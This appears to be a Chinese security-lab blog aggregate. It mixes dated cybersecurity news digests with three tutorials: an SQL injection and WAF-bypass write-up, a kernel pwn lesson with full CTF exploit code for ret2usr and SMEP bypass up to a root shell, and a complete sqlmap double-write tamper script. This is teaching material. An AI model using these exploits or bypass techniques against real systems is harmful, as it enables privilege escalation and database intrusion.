网络安全日报 2022年03月21日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、黑客使用新的 Unix Rootkit 攻击银行网络从 ATM 机中窃取资金 https://thehackernews.com/2022/03/hackers-target-bank-networks-with-new.html 2、Sandworm APT 使用 Cyclops Blink 僵尸网络针对华硕路由器 https://threatpost.com/sandworm-asus-routers-cyclops-blink-botnet/178986/ 3、ISC发布更新修补BIND 服务器中的多个高危漏洞 https://www.securityweek.com/high-severity-vulnerabilities-patched-bind-server 4、Avoslocker 勒索软件团伙以美国关键基础设施为目标 https://securityaffairs.co/wordpress/129232/cyber-crime/avoslocker-ransomware-us-critical-infrastructure.html 5、DarkHotel APT钓鱼活动针对豪华酒店盗取客人数据 https://threatpost.com/darkhotel-apt-wynn-macao-hotels/178989/ 6、Emsisoft 为 Diavol 勒索软件的受害者发布了免费解密器 https://securityaffairs.co/wordpress/129211/malware/emsisoft-releases-free-decryptor-for-the-victims-of-the-diavol-ransomware.html 7、Trickbot在C2基础架构中使用MikroTik设备 https://www.microsoft.com/security/blog/2022/03/16/uncovering-trickbots-use-of-iot-devices-in-command-and-control-infrastructure/ 8、研究人员发现爱立信网络管理器中存在漏洞 https://securityaffairs.co/wordpress/129188/hacking/ericsson-network-manager-bug.html 9、南非信用机构TransUnion遭黑客入侵数据泄露 https://www.cyberscoop.com/south-africa-transunion-data-breach/ 10、研究人员发现与Conti勒索软件合作的新的初始访问代理Exotic Lily https://securityaffairs.co/wordpress/129216/cyber-crime/exotic-lily-access-broker.html
网络安全日报 2022年03月18日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、微软发布用于保护 MikroTik 路由器的开源工具 https://github.com/microsoft/routeros-scanner 2、SolarWinds 警告针对 Web Help Desk 用户的攻击 https://www.securityweek.com/solarwinds-warns-attacks-targeting-web-help-desk-users 3、审计发现大多数 NASA 系统都面临内部威胁的风险 https://www.securityweek.com/most-nasa-systems-risk-insider-threats-audit 4、NIST 为制造商发布 ICS 网络安全实践指南 https://www.securityweek.com/nist-releases-ics-cybersecurity-guidance-manufacturers 5、TrickBot 恶意软件滥用 MikroTik 路由器作为C2代理 https://thehackernews.com/2022/03/trickbot-malware-abusing-hacked-iot.html 6、CRI-O 引擎中的新漏洞可导致Kubernetes 容器逃逸 https://thehackernews.com/2022/03/new-vulnerability-in-cri-o-engine-lets.html 7、由于后端云数据库配置错误,2,113 个移动应用程序泄露用户敏感数据 https://www.infosecurity-magazine.com/news/thousands-mobile-apps-expose-data/ 8、研究人员发现新的勒索软件LokiLocker https://blogs.blackberry.com/en/2022/03/lokilocker-ransomware 9、研究人员发现Parse Server存在一个RCE漏洞 https://portswigger.net/daily-swig/node-js-security-parse-server-remote-code-execution-vulnerability-resolved 10、GoDaddy 托管的数百个WordPress网站,短时间内被部署了后门 https://www.freebuf.com/news/325232.html
一次苦逼的SQL注入
0x01: 偶一打点,看到一个可爱的系统…. 1.通过F12 把链接提出来仔细瞅瞅… 2.看见id,果断测注入… 感觉有戏 嗯? 啥数据库连接出错,啥意思??? (其实,这是运维做的混淆..) 3.这是什么操作呢? 怎么会数据库连接出错了???我最开始想的是它网站内部没有配置好,但反过来想,如果没有配置好,哪id=5也应该会出现问题才对,所以勇敢的大胆猜,这可能是是一个简单的waf,然后自定义的一个页面。 如何去验证呢? 先删删字符 看看咋回事 多半是and的出问题 4.并且他是数字型注入 编写tamper 试试把 好像是那个302跳转导致的…… 再手工看看这个xpshell 没有权限 5.手工先摸管理员把 6.如何让sql跑起了 直接在响应包里面让他报错,然后让sqlmap自动识别即可  这个点可以记住 它的密码乱码了,咋办呢?只能 发现管理员员权限是 0 批量看下 发现管理员一个账户 经过测试发现,很多弱口令账户。。。登录一个管理员,点到为止…. 发现可以进行改密码,改admin的密码即可。。。点到为止 里面涉及很多敏感信息,故…. (以上漏洞已报给教育src平台,并且已经修复…….) 总结: 1.拿不到管理员应该灵活….不一定admin才是管理员,只要最后能干到管理员就好 2.出现数据库连接错误,并不是连接数据库错误,要懂得学会判断 3.对于已经确定存在sql注入的地方,由于验证码,会发生302跳转。Sqlmap无法直接注入,可以直接让它在报错注入中注入(即在请求包为一个报错注入的包—报错一个版本就行..) 实验推荐 实验:Mssql报错注入 https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015090915005900001>>
网络安全日报 2022年03月17日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、CISA 将 14 个 Windows 漏洞添加到“必须修补”列表中 https://www.securityweek.com/cisa-adds-14-windows-vulnerabilities-must-patch-list 2、Cloudflare 宣布用于电子邮件、应用程序和 API 的新安全工具 https://www.securityweek.com/cloudflare-announces-new-security-tools-email-applications-apis 3、dompdf 项目中未修补的 RCE 漏洞影响 HTML to PDF 转换器 https://thehackernews.com/2022/03/unpatched-rce-bug-in-dompdf-project.html 4、用于大数据的 ClickHouse OLAP 数据库系统中发现多个漏洞 https://thehackernews.com/2022/03/multiple-flaws-uncovered-in-clickhouse.html 5、大规模网络钓鱼活动使用500多个域来窃取 Naver 的凭据 https://www.bleepingcomputer.com/news/security/massive-phishing-campaign-uses-500-plus-domains-to-steal-credentials 6、脸书母公司Meta因大规模数据泄露被欧盟罚款1860万美元 https://thehackernews.com/2022/03/facebook-hit-with-186-million-gdpr-fine.html 7、汽车零部件制造商DENSO遭到勒索软件攻击和1.4TB文件被盗 https://www.bleepingcomputer.com/news/security/automotive-giant-denso-hit-by-new-pandora-ransomware-gang/ 8、虚假 Windows 防病毒更新用于部署Cobalt Strike https://www.bleepingcomputer.com/news/security/fake-antivirus-updates-used-to-deploy-cobalt-strike-in-ukraine/ 9、微软正在Windows 11文件资源管理器中测试广告 https://www.bleepingcomputer.com/news/microsoft/microsoft-is-testing-ads-in-the-windows-11-file-explorer/ 10、针对RSA密钥新型攻击方式——Fermat Attack https://fermatattack.secvuln.info/
Kernel pwn 基础教程之 ret2usr 与 bypass_smep
一、前言 在我们的pwn学习过程中,能够很明显的感觉到开发人员们为了阻止某些利用手段而增加的保护机制,往往这些保护机制又会引发出新的bypass技巧,像是我们非常熟悉的Shellcode与NX,NX与ROP。而当我们将视角从用户态放到内核态的时候,便是笔者今天想与大家分享的两个利用手段:ret2usr与bypass_smep。 二、ret2usr利用介绍 ret2usr的资料在网上其实并不算多,究其原因是其利用手法相对简单,其本意是利用了内核空间可以访问用户空间这个特性来定向内核代码或数据流指向用户空间,并以ring0的特权级在用户空间完成提权操作。 三、ret2usr例题讲解 这次以Kernel ROP那一篇中介绍过的例题"2018年强网杯 core"来对ret2usr利用手段进行讲解,具体的题目分析在之前的篇章中已经做过具体分析,这边只是简单概述一下模块内容。 在core_ioctl函数中定义的三种功能 0x6677889B:执行core_read函数,存在内存信息泄露,可用来leak canary 0x6677889C:对全局变量off赋值,可用来控制core_read函数中的内存偏移,从而造成泄露问题 0x6677889A:执行core_copy_func函数,配合core_write函数以及对复制的内容长度不严谨从而造成栈溢出隐患 在前一篇Kernel ROP中我们的利用思路具体如下所示。 1、保存返回用户态所需的寄存器信息 2、利用core_read leak canary 3、通过/tmp/kallsyms中的信息获取函数地址与计算ropgadget的偏移 4、利用core_copy_func函数存在的栈溢出控制内核程序流完成提权并返回用户态执行shell 而本篇的ret2usr中我们的利用思路则发生了些许的改变,原先第四步中我们通过劫持内核程序流并构造ropchain来完成的提权步骤,现在我们修改提权方式,控制内核程序流访问user space中的函数指针来完成提权操作,在我们的exp中构建如下的函数。 void beroot() { char* (*func1) (int) = prepare_kernel_cred; void (*func2) (char*) = commit_creds; (*func2)((*func1)(0)); } 可以看到我们通过函数指针的方式在用户空间执行了commit_creds(prepare_kernel_cred(0)),能过做到这样的本质原因是因为我们在劫持程序流程的时候处在ring0权限,并且因为SMEP保护未开启的原因我们可以从内核空间访问用户空间的代码,所以才能完成提权的操作。 当我们控制内核程序流在用户空间完成提权工作以后,就可以返回用户态并获取rootShell了,完整EXP如下所示。 #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/ioctl.h> #define CORE_READ 0x6677889B #define SET_OFFSET 0x6677889C #define CORE_COPY_FUNC 0x6677889A unsigned long long int canary[64] = {0}; unsigned long long int raw_vmlinux_base = 0xffffffff81000000; unsigned long long int commit_creds, prepare_kernel_cred, vmlinux_base; unsigned long long int user_cs, user_ss, user_rflags, user_sp; void save_status() {   __asm__("mov user_cs, cs;"           "mov user_ss, ss;"           "mov user_sp, rsp;"           "pushf;"           "pop user_rflags;"           );   puts("[*]status has been saved."); } void beroot() { char* (*func1) (int) = prepare_kernel_cred; void (*func2) (char*) = commit_creds; (*func2)((*func1)(0)); } //ffffffffb8c9c8e0 T commit_creds int leak_addr() { int idx; char buf[1024]; int fd = open("/tmp/kallsyms", 0); if (fd < 0) { puts("[-] ERROR."); exit(0); } puts("[+] Leak Address..."); while (1) { int i; for (i = 0; i < sizeof(buf); i++) { read(fd, buf + i, 1); if(buf[i] == '\n') { if (strstr(buf, "commit_creds")) { sscanf(buf, "%llx", &commit_creds); printf("[+] Find commit_creds_address: 0x%llx\n", commit_creds); vmlinux_base = commit_creds - 0x9c8e0; prepare_kernel_cred = vmlinux_base + 0x9cce0; return 1; } else { i = 0; } } } } return 0; } void leak_canary(int fd) { puts("[+] Leak Canary..."); ioctl(fd, SET_OFFSET, 0x40); ioctl(fd, CORE_READ, canary); //core_read+105 printf("[+] Canary: 0x%llx \n", canary[0]); } void get_shell() { if (getuid() == 0) { puts("[+] root shell."); system("/bin/sh"); } } void main() { unsigned long long int pop_rdi, pop_rsi, pop_rdx, pop_rcx, mov_rdi_rax, swapgs, iretq, xchg_rax_rdx, offset; unsigned long long int rop[0x60]; int i = 8; int fd = open("/proc/core", 'r'); if (fd <= 0) { puts("[-] open filename 'core' ERROR."); exit(0); } save_status(); leak_addr(); leak_canary(fd); offset = vmlinux_base - raw_vmlinux_base; pop_rdi = offset + 0xffffffff81000b2f; pop_rsi = offset + 0xffffffff810011d6; pop_rdx = offset + 0xffffffff810a0f49; pop_rcx = offset + 0xffffffff81021e53; swapgs = offset + 0xffffffff81a012da; iretq = offset + 0xffffffff81050ac2; xchg_rax_rdx = offset + 0xffffffff826684f0; // xchg rax, rdx; ret; mov_rdi_rax = offset + 0xffffffff8106a6d2; printf("0x%llx\n", offset); rop[i++] = canary[0]; rop[i++] = 0; rop[i++] = (unsigned long long int)beroot; rop[i++] = swapgs; rop[i++] = 0; rop[i++] = iretq; rop[i++] = (unsigned long long int)get_shell; rop[i++] = user_cs; rop[i++] = user_rflags; rop[i++] = user_sp; rop[i++] = user_ss; write(fd, rop, sizeof(rop)); ioctl(fd, CORE_COPY_FUNC, 0xffffffffffff0000|0x100); } 四、bypass_smep原理介绍 ret2usr利用最根本的原因是因为内核态可以任意访问用户态的数据,从而造成了被利用的风险。而SMEP对于ret2usr正如NX与Shellcode一样有效的降低了被利用的风险。 SMEP(Supervisormode execution protection,SMEP)机制的作用是,当进程在内核模式下运行时,该防御机制会将页表中的所有用户空间的内存页标记为不可执行的。在内核中,这个功能可以通过设置控制寄存器CR4的第20位来启用。在启动时,可以通过在-cpu选项下加入+smep来启用该防御机制,通过在-append选项下加入nosmep来禁用该机制。 由于SMEP保护使得内核空间无法访问用 而CR4寄存器我们是可以通过gadget来对里面的值进行修改的,为了关闭SMEP常用的固定值0x6f0,即mov CR4, 0x6f0。 五、bypass_smep例题讲解 同样是前面文章所提到过的2017-CISCN-babydriver,在前面的学习中我们利用Kernel UAF的方式完成了提权操作,而本次我们所要学习的就是劫持程序流关闭SMEP保护以后,利用前面所学习的ret2usr完成提权操作并获取rootshell。 在分析利用思路之前,我们需要引入一个新的结构体tty_struct。这是一个在打开/dev/ptmx设备时会分配的结构体,源码如下所示。 struct tty_struct {   int magic;   struct kref kref;   struct device *dev;   struct tty_driver *driver;   const struct tty_operations *ops;   int index;   /* Protects ldisc changes: Lock tty not pty */   struct ld_semaphore ldisc_sem;   struct tty_ldisc *ldisc;   struct mutex atomic_write_lock;   struct mutex legacy_mutex;   struct mutex throttle_mutex;   struct rw_semaphore termios_rwsem;   struct mutex winsize_mutex;   spinlock_t ctrl_lock;   spinlock_t flow_lock;   /* Termios values are protected by the termios rwsem */   struct ktermios termios, termios_locked;   struct termiox *termiox;   /* May be NULL for unsupported */   char name[64];   struct pid *pgrp;       /* Protected by ctrl lock */   struct pid *session;   unsigned long flags;   int count;   struct winsize winsize;     /* winsize_mutex */   unsigned long stopped:1,   /* flow_lock */             flow_stopped:1,             unused:BITS_PER_LONG - 2;   int hw_stopped;   unsigned long ctrl_status:8,   /* ctrl_lock */             packet:1,             unused_ctrl:BITS_PER_LONG - 9;   unsigned int receive_room; /* Bytes free for queue */   int flow_change;   struct tty_struct *link;   struct fasync_struct *fasync;   wait_queue_head_t write_wait;   wait_queue_head_t read_wait;   struct work_struct hangup_work;   void *disc_data;   void *driver_data;   spinlock_t files_lock;     /* protects tty_files list */   struct list_head tty_files; #define N_TTY_BUF_SIZE 4096   int closing;   unsigned char *write_buf;   int write_cnt;   /* If the tty has a pending do_SAK, queue it here - akpm */   struct work_struct SAK_work;   struct tty_port *port; } __randomize_layout; 而其中有一个非常有用的结构体tty_operations,其源码如下所示,不难看出其中含有大量的函数指针供我们使用。所以我们可以使用一种类似于FSOP中伪造vtable表的方式来伪造这个结构体使其可以控制内核程序流。 struct tty_operations {   struct tty_struct * (*lookup)(struct tty_driver *driver,           struct file *filp, int idx);   int (*install)(struct tty_driver *driver, struct tty_struct *tty);   void (*remove)(struct tty_driver *driver, struct tty_struct *tty);   int (*open)(struct tty_struct * tty, struct file * filp);   void (*close)(struct tty_struct * tty, struct file * filp);   void (*shutdown)(struct tty_struct *tty);   void (*cleanup)(struct tty_struct *tty);   int (*write)(struct tty_struct * tty,             const unsigned char *buf, int count);   int (*put_char)(struct tty_struct *tty, unsigned char ch);   void (*flush_chars)(struct tty_struct *tty);   int (*write_room)(struct tty_struct *tty);   int (*chars_in_buffer)(struct tty_struct *tty);   int (*ioctl)(struct tty_struct *tty,           unsigned int cmd, unsigned long arg);   long (*compat_ioctl)(struct tty_struct *tty,                 unsigned int cmd, unsigned long arg);   void (*set_termios)(struct tty_struct *tty, struct ktermios * old);   void (*throttle)(struct tty_struct * tty);   void (*unthrottle)(struct tty_struct * tty);   void (*stop)(struct tty_struct *tty);   void (*start)(struct tty_struct *tty);   void (*hangup)(struct tty_struct *tty);   int (*break_ctl)(struct tty_struct *tty, int state);   void (*flush_buffer)(struct tty_struct *tty);   void (*set_ldisc)(struct tty_struct *tty);   void (*wait_until_sent)(struct tty_struct *tty, int timeout);   void (*send_xchar)(struct tty_struct *tty, char ch);   int (*tiocmget)(struct tty_struct *tty);   int (*tiocmset)(struct tty_struct *tty,           unsigned int set, unsigned int clear);   int (*resize)(struct tty_struct *tty, struct winsize *ws);   int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);   int (*get_icount)(struct tty_struct *tty,               struct serial_icounter_struct *icount);   void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m); #ifdef CONFIG_CONSOLE_POLL   int (*poll_init)(struct tty_driver *driver, int line, char *options);   int (*poll_get_char)(struct tty_driver *driver, int line);   void (*poll_put_char)(struct tty_driver *driver, int line, char ch); #endif   int (*proc_show)(struct seq_file *, void *); } __randomize_layout; 那么具体应该怎么利用呢?首先我们需要注意到的就是在本题环境中tty_struct结构体占0x260字节大小,所以我们可以利用题目中存在的UAF漏洞泄露出结构体的部分内容并修改其中的tty_operations指向我们伪造的结构体fake_tty_ops并在其中布置好相应的ropchain即可完成最终的利用。 但是这样的话又会产生一个问题,我们伪造的tty_operations结构体中应该怎么布局才可以呢?我们不妨写一个简单的测试代码通过动调的方式来理解,具体的代码如下所示。 #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/ioctl.h> void main() {   int fd1 = open("/dev/babydev", O_RDWR);   int fd2 = open("/dev/babydev", O_RDWR);   // UAF   ioctl(fd1, 0x10001, 0x2e0);   close(fd1);   // fake struct   size_t fake_tty_struct[32];   size_t fake_tty_ops[32];   fake_tty_ops[0] = 0xffffffffc0000130;   fake_tty_ops[1] = 0xffffffffc0000130;   fake_tty_ops[2] = 0xffffffffc0000130;   // fake_tty_ops[7] = mov_rsp_rax;   fake_tty_ops[7] = 0xffffffffc0000130;   // close smep --> ret2usr --> get root's shell   int fd_tty = open("/dev/ptmx", O_RDWR);   read(fd2, fake_tty_struct, 32);   fake_tty_struct[3] = (size_t)fake_tty_ops;   write(fd2, fake_tty_struct, 32);   write(fd_tty, "AMALLL", 6); } 然后我们将写好的demo静态编译完成后,使用gdb脚本调试,创建gdbint文件并写入如下内容,最后在qemu启动脚本中添加-s选项并另开shell窗口执行gdb -x gdbinit即可动调。 file vmlinux add-symbol-file babydriver.ko 0xffffffffc0000000 b babyread target remote :1234 continue 上面的demo中我们伪造了tty_operations结构体中write函数指针为babyread函数地址,并且通过动调我们可以发现rax寄存器正是我们所伪造的fake_tty_operations结构体的地址,那么如果我们将tty_operations结构体中write函数指针位置放置诸如 mov rsp ,rax; 一类的gadget,则可以劫持栈指针到我们的fake_tty_operations地址处,我们再在伪造的结构体开头布置上二次栈迁移的gadget控制rsp指向我们布置的ropchain上,那么就可以执行关闭SMEP的rop,然后我们就可以利用前面介绍的ret2usr rop进 EXP.C #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/ioctl.h> size_t user_cs, user_ss, user_rflags, user_sp; size_t commit_creds = 0xffffffff810a1420; size_t prepare_kernel_cred = 0xffffffff810a1810; size_t pop_rdi = 0xffffffff810d238d; size_t mov_cr4 = 0xffffffff81004d80; // mov cr4, rdi; pop rbp; ret; size_t swapgs = 0xffffffff81063694; // swapgs; pop rbp; ret; size_t iretq = 0xffffffff814e35ef; size_t pop_rax = 0xffffffff8100ce6e; size_t mov_rsp_rax = 0xffffffff8181bfc5; // mov rsp,rax ; dec ebx ; ret void save_status() {   __asm__("mov user_cs, cs;"           "mov user_ss, ss;"           "mov user_sp, rsp;"           "pushf;"           "pop user_rflags;"           );   puts("[*]status has been saved."); } void beroot() {   char* (*func1)(int) = (char* (*)(int))prepare_kernel_cred;   void (*func2)(char*) = (void (*)(char *))commit_creds;   (*func2)((*func1)(0)); } void getshell() {   if (getuid() == 0) {         puts("[+] root now.");       system("/bin/sh");   }else {       puts("[-] Get shell error.");       exit(0);   } } void main() {       save_status();   int fd1 = open("/dev/babydev", O_RDWR);   int fd2 = open("/dev/babydev", O_RDWR);   // UAF   ioctl(fd1, 0x10001, 0x2e0);   close(fd1);   // set ropchain   size_t rop[0x30] = {0};   int i = 0;   rop[i++] = pop_rdi;   rop[i++] = 0x6f0;   rop[i++] = mov_cr4;   rop[i++] = 0;   rop[i++] = (size_t)beroot;   rop[i++] = swapgs;   rop[i++] = 0;   rop[i++] = iretq;   rop[i++] = (size_t)getshell;   rop[i++] = user_cs;   rop[i++] = user_rflags;   rop[i++] = user_sp;   rop[i++] = user_ss;   // fake struct   size_t fake_tty_struct[32];   size_t fake_tty_ops[32];   fake_tty_ops[0] = pop_rax;   fake_tty_ops[1] = (size_t)rop;   fake_tty_ops[2] = mov_rsp_rax;   fake_tty_ops[7] = mov_rsp_rax;   // close smep --> ret2usr --> get root's shell   int fd_tty = open("/dev/ptmx", O_RDWR);   read(fd2, fake_tty_struct, 32);   fake_tty_struct[3] = (size_t)fake_tty_ops;   write(fd2, fake_tty_struct, 32);   write(fd_tty, "AMALLL", 6); } 六、总结 笔者分享的两种利用方式都不算困难,但是需要注意的是在编译exploit时请使用Ubuntu 16.04的环境,笔者尝试使用Ubuntu 20 与 18的环境编译exploit最终执行阶段都无法完成提权操作。同时在做Kernel题目的时候会明显的感觉自己的知识树储备不够,这里笔者推荐《操作系统真象还原》这本书,里面不管是案例还是讲解都非常有趣,相信你一定能从这本书中有所收获。
网络安全日报 2022年03月16日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、OpenSSL修复了 CVE-2022-0778 高危DoS 漏洞 https://securityaffairs.co/wordpress/129104/security/openssl-dos-vulnerability.html 2、德国BSI机构建议消费者不要使用卡巴斯基杀毒软件 https://securityaffairs.co/wordpress/129085/intelligence/bsi-recommends-replace-kaspersky-av.html 3、Veeam Data Backup 软件修复了两个严重漏洞 https://securityaffairs.co/wordpress/129094/hacking/veeam-rce.html 4、研究人员发现新的数据擦除恶意软件CaddyWiper https://securityaffairs.co/wordpress/129069/cyber-warfare-2/caddywiper-wiper-hits-ukraine.html 5、研究人员在泄露的三星源代码中发现数千个密钥 https://www.securityweek.com/thousands-secret-keys-found-leaked-samsung-source-code 6、Dirty Pipe Linux 漏洞影响大多数 QNAP NAS 设备 https://securityaffairs.co/wordpress/129076/hacking/qnap-nas-dirty-pipe.html 7、Raccoon Stealer 使用 Telegram 作为C2 https://cyware.com/news/raccoon-stealer-using-telegram-for-hidden-communications-c4cf31d4 8、国家计算机病毒应急处理中心披露NSA网络间谍武器 https://www.anquanke.com/post/id/270087 9、315晚会聚焦个人信息安全 https://www.freebuf.com/news/325021.html 10、日本电装德国分部大量机密数据被黑客窃取 https://www.cnbeta.com/articles/tech/1246433.htm
SQLMAP-Tamper之较为通用的双写绕过
前言 21年省决赛的SQLITE注入就是用的双写绕过,当时是手搓代码打的,这几天想起来了,寻思着写个tamper试试。 一开始以为很简单,后来才发现有很多要注意的点,折磨了挺久。 等弄完才明白为什么sqlmap没有自带双写的tamper,涉及的情况太多,需要根据具体过滤逻辑来写代码,没法做到统一。 思路 过滤代码很简单: blacklist = ["ABORT", "ACTION", "ADD", "AFTER", "ALL", "ALTER", "ALWAYS", "ANALYZE", "AND", "AS", "IN", "ASC", "ATTACH", "AUTOINCREMENT", "BEFORE", "BEGIN", "BETWEEN", "CASCADE", "CASE", "CAST", "CHECK", "COLLATE", "COLUMN", "COMMIT", "CONFLICT", "CONSTRAINT", "CREATE", "CROSS", "CURRENT", "CURRENT_ for n in blacklist:    regex = re.compile(n, re.IGNORECASE)    username = regex.sub("", username) 先拿个网上的代码举例, 核心代码为 for keyword in keywords: _ = random.randint(1, len(keyword) - 1) retVal = re.sub(r"(?i)\b%s\b" % keyword, "%s%s%s" % (keyword[:_], keyword, keyword[_:]), retVal) 其逻辑为:用正则进行搜索单词,类似: 当检测到payload中存在关键字,就将该关键字插入到原本关键字字符串的随机位置。 很常规的逻辑,但在这里有一些问题: 1.类似SELECT->SELSELECTECT,如果添加的位置不对,就可能新生成一个存在于黑名单的字样导致sqlmap误判。 2.混淆得不够彻底。代码中是以单词为单位,但过滤时会扩大面积。精简一下: keywords = ['OR','ORDER'] payload = 'ORDER' 混淆时:ORDER->OORRDER 过滤时:OORRDER->ORDER-> ''(为空) 那么,手动选某个关键字列表中比较特别的字样去统一混淆如何? 结论是可,但是费劲。首先需要先写个小脚本将关键字列表里的不纯粹的元素剔除。比如ORDER里含有OR,那么就需要将ORDER剔除。其次还得保证sqlmap的测试语句里不使用该字样,否则将导致误判。 整理一下上述思路,可以开始着手编写tamper了。 代码 写脚本之前先介绍下tamper模板 from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOWEST def dependencies():    pass def tamper(payload, **kwargs):    return payload __priority__定义脚本优先级:LOWEST、LOWER、LOW、NORMAL、HIGH、HIGHER、HIGHEST dependencies()则声明该函数的适用/不适用范围,可为空 tamper()则是主要函数,处理传入的payload并返回。 好,然后就是脚本的完整代码 #!/usr/bin/env python """ Copyright (c) 2006-2022 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import re from lib.core.common import singleTimeWarnMessage from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def tamper(payload, **kwargs):    """   优化的双写绕过,顺序插入并判断是否新组成过滤单词   比如SELECT,当插入位置为3时为SELSELECTECT,则会生成黑名单列表中另一个单词ELSE造成误判   在此进行相关判断以保证生成的字符不存在另一个敏感词。   主要应对:       blacklist = [...]       for n in blacklist:           regex = re.compile(n, re.IGNORECASE)           username = regex.sub("", username)   >>> tamper('select 1 or 2 ORDER')   'selorect 1 oorr 2 OorRDER'   """    keywords = ["ABORT", "ACTION", "ADD", "AFTER", "ALL", "ALTER", "ALWAYS", "ANALYZE", "AND", "AS", "IN", "ASC", "ATTACH", "AUTOINCREMENT", "BEFORE", "BEGIN", "BETWEEN", "CASCADE", "CASE", "CAST", "CHECK", "COLLATE", "COLUMN", "COMMIT", "CONFLICT", "CONSTRAINT", "CREATE", "CROSS", "CURRENT", "CURRE    retVal = payload    warnMsg = "当前关键字列表如下,请注意修改:\n"    warnMsg += "%s" % keywords    singleTimeWarnMessage(warnMsg)    if payload:        for key in reversed(keywords):            index = keywords.index(key)            num = 1            check = True            while check:                if num >= len(key):                    singleTimeWarnMessage('无法绕过双写关键字列表')                    exit()                check = False                repStr = "%s%s%s" % (key[:num], key, key[num:])                for t in keywords[:index]:                    if re.search(t, repStr) and not re.search(t, key):                        check = True                        break                num += 1            retVal = re.sub(key, repStr, retVal, flags=re.I)    return retVal for key in reversed(keywords):首先进入最外层的关键字循环,在这里使用逆序,混淆的时候先2后1,过滤的时候先1后2,就能很好的还原代码。 while num < len(key) and check:然后进入第二层循环。num为插入位置,比如ASC,能插入的地方有AS中间和SC中间,如果都插入了一遍还是检测到敏感词,说明再怎么双写都会被检测出来。 for t in keywords[:index]:第三层循环就是二次校验了,比如['A','ELSE','B','SELECT','C'],混淆的时候从后往前,如果插入的位置不好,SELECT->SELSELECTECT。这样从前面循环检测,检测到ELSE,则该位置不合法,重新插入。个人感觉从中间插入组成新敏感词的几率比较小,但仔细琢磨一下也没必要多加几行代码,于是就干脆用顺序了。 至于not re.search(t, key)是为了避免ORDER中存在OR而被误判位置不合法的情况。 使用的时候把keywords列表一替换,拿到sqlmap一打,结束! 有个比较无语的点是re.sub()函数的第四个参数才是flags。 写代码的时候习惯性的在第三个参数位置打上re.I,然后又因为int(re.I)为2,程序正常运行不报错,最大替换次数为2次。折磨了好长时间。   实验推荐   实验:SQL注入之绕过is_numeric过滤(蚁景网安实验室) https://www.yijinglab.com/expc.do?ec=ECID9d6c0ca797abec2016072212515000001>>
网络安全日报 2022年03月14日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Apple 修补了iOS、macOS、iPadOS 中的39个安全漏洞 https://www.securityweek.com/apple-patch-day-gaping-security-holes-ios-macos-ipados 2、AMD 在英特尔研究之后更新 Spectre 缓解措施 https://www.securityweek.com/amd-updates-spectre-mitigations-following-intel-research 3、以色列遭遇大规模 DDoS 攻击,导致许多政府网站离线 https://securityaffairs.co/wordpress/129063/cyber-warfare-2/massive-ddos-attack-hit-israel.html 4、乌国防部使用 Clearview AI 的面部识别技术来识别敌方 https://securityaffairs.co/wordpress/129047/cyber-warfare-2/clearview-facial-recognition-ukraine.html 5、Netfilter模块中的漏洞CVE-2022-25636可导致Linux本地提权 https://thehackernews.com/2022/03/new-linux-bug-in-netfilter-firewall.html 6、研究人员发现Aberebot银行木马的新版本 https://www.bleepingcomputer.com/news/security/android-malware-escobar-steals-your-google-authenticator-mfa-codes/ 7、芬兰政府机构警告飞机GPS遭到异常干扰 https://www.bleepingcomputer.com/news/technology/finnish-govt-agency-warns-of-unusual-aircraft-gps-interference/ 8、SDCA医疗机构遭到黑客入侵导致数据泄露 https://www.databreaches.net/287652-south-denver-cardiology-associates-patients-notified-of-breach/ 9、黑客组织Lapsus$发起投票:根据结果公开公司数据 https://www.cnbeta.com/articles/tech/1245685.htm 10、欧洲立法者对欧盟国家使用Pegasus间谍软件展开调查 https://www.cnbeta.com/articles/tech/1245991.htm
网络安全日报 2022年03月14日
